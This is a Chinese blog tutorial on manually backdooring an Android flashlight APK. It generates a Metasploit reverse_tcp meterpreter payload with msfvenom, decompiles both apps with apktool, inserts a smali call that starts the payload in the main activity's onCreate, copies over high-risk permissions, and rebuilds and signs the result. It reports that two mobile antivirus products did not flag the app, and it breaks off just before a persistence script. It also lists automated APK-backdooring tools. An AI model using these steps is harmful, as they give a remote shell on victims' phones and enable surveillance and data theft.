前段时间看到鸢尾大神写的文章《如何用kwetza给安卓应用加后门》。大神自己写的自动化注入工具,看过程也并不困难,我就产生了自己手动注入的想法,折腾了一天终于搞定了。
当然已经有有好多的自动化注入工具可以使用了,我先总结一下:
1.backdoor-apk :https://github.com/dana-at-cp/backdoor-apk
2. spade: https://github.com/suraj-root/spade
3. apk-embed-payload.rb:https://gist.github.com/SkullTech/a62d106b55562cc1ab88
4:当然还有@鸢尾大神的kwetza。
欢迎补充哈!!!
好了,开始正文。
先捋一下思路,把PAYLOAD小马注入到一个目标apk文件中,关键是要找到目标APK的入口,并把启动payload小马的代码添加进去,随目标APK一起启动,从而实现监听手机的目的。当然前提是apk文件可逆。
这里使用注入目标apk文件:(百度)手电筒—-小米应用市场下载的
顺着思路,我们先用msf生成小马。
step 1:
msfvenom -p android/meterpreter/reverse_tcp LHOST=本机IP LPORT=监听端口号 -o 应用名.apk
我们可以看到,payload小马只有8.8 KB (8,843 字节),非常小,可谓短小精悍。
step 2:
反编译payload小马houmen.apk和手电筒.apk
apktool d /root/houmen.apk
apktool d /root/手电筒-1.0.3_4.apk
我们得到了反编译之后的文件。
step 3 :
开始寻找手电筒-1.0.3_4.apk文件的入口,在手电筒-1.0.3_4的Manifest.xml文件中查找Main和Launch关键词,定位到所对应的启动smail文件
搜索Main和Launch关键词
好了,直接找到com/baidu/flashliaght/MainActivety.smail文件,终于到关键时候了,我们要在手电筒启动的activety中添加启动PAYLOAD小马的代码。
直接搜索onCreat函数,找到bundle对象,你并在下面添加启动payload代码:invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)Vv
点击保存之后呢,我们还要把刚才反编译的payload文件中的smail代码复制过来,把payload的smail/com/metasploit文件复制到手电筒的smail/com/目录下。
OK,现在基本已经大功告成了。直接保存退出就好。
接下来呢,我们还有一个问题,就是权限的问题,payload小马作为监听程序,肯定少不了有很多权限,而手电筒作为一个简单的工具,权限肯定很少,因此要想使监听功能更齐全,我们有必要补充一下权限。首先对比houmen.apk和手电筒.apk的权限清单,把手电筒没有的权限从houmen.apk直接复制过来,当然了,注意不要复制重复了。
大家注意看我们所添加的权限,都是一些敏感的,容易泄露个人信息的高危权限。一会我们要测试。
现在保存退出,剩下的就是回编译签名了。
回编译:apktool b /root/手电筒-1.0.3_4
生成KEYSTORE:keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 1024 -validity 22222
签名:jarsigner -keystore mykey.keystore Netflix.apk alias_name -sigalg MD5withRSA -digestalg SHA1
终于完工了,我们把生成的应用装到手机,并打开msf控制台,设置好监听参数后,等待上线。
成功上线!!!!
完事之后呢,接上面的权限问题,既然我们添加了那么多高危权限,手机杀软能查出来吗? 我用我的手机进行了实测:
上面的360和腾讯手机管家实测扫描结果,竟然都没有报毒,想想好可怕啊。
因此提醒大家,自己用的手机就别ROOT了,普通应用就不要给太多权限了,哎,还是老梗,说的再多,依然有人不听欸。
写到这呢,本来就完了,但是还有一个问题,就是payload小马有个缺点,就是启动后,我在xiaomi5实测,大概一分钟就掉线,很让人恼火啊,如果目标手机一直不再点击这个应用,我们就干瞪眼了。并且这还是一个低频的应用,好几天也不知会不会用一回。
怎么解决呢,我找了好久,终于找到个方法,当然不是我原创啊,我们拿来用。就是用一个sh脚本,关联小马,让其隔段时间启动一回。脚本如下:
|